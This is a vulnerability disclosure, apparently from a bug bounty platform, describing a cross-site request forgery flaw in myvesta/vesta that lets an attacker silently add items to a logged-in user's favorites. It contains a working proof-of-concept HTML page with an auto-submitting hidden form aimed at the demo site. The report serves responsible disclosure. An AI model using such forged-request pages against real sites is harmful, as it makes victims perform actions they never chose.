Cross-Site Request Forgery (CSRF) in myvesta/vesta
Reported on
Aug 24th 2021
✍️ Description
Attacker is able to add an element to favorite. this vulnerability happens on some sections. for example on “Firewall” tab list/firewall/
🕵️♂️ Proof of Concept
1.when you logged in open this POC.html in a browser 2.you can check unintentionally first record saves as favorite
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.myvesta.com/add/favorite/index.php">
<input type="hidden" name="v_unit_id" value="11" />
<input type="hidden" name="v_section" value="firewall" />
<input type="submit" value="Submit request" />
</form>
</body>
<script>
document.forms[0].submit();
</script>
</html>
💥 Impact
This vulnerability is capable of forging admin or user to unintentional save favorite.
💥 Test
Tested on Edge, Firefox, chrome and safari 📍 Location index.php#L1 📝 References csrf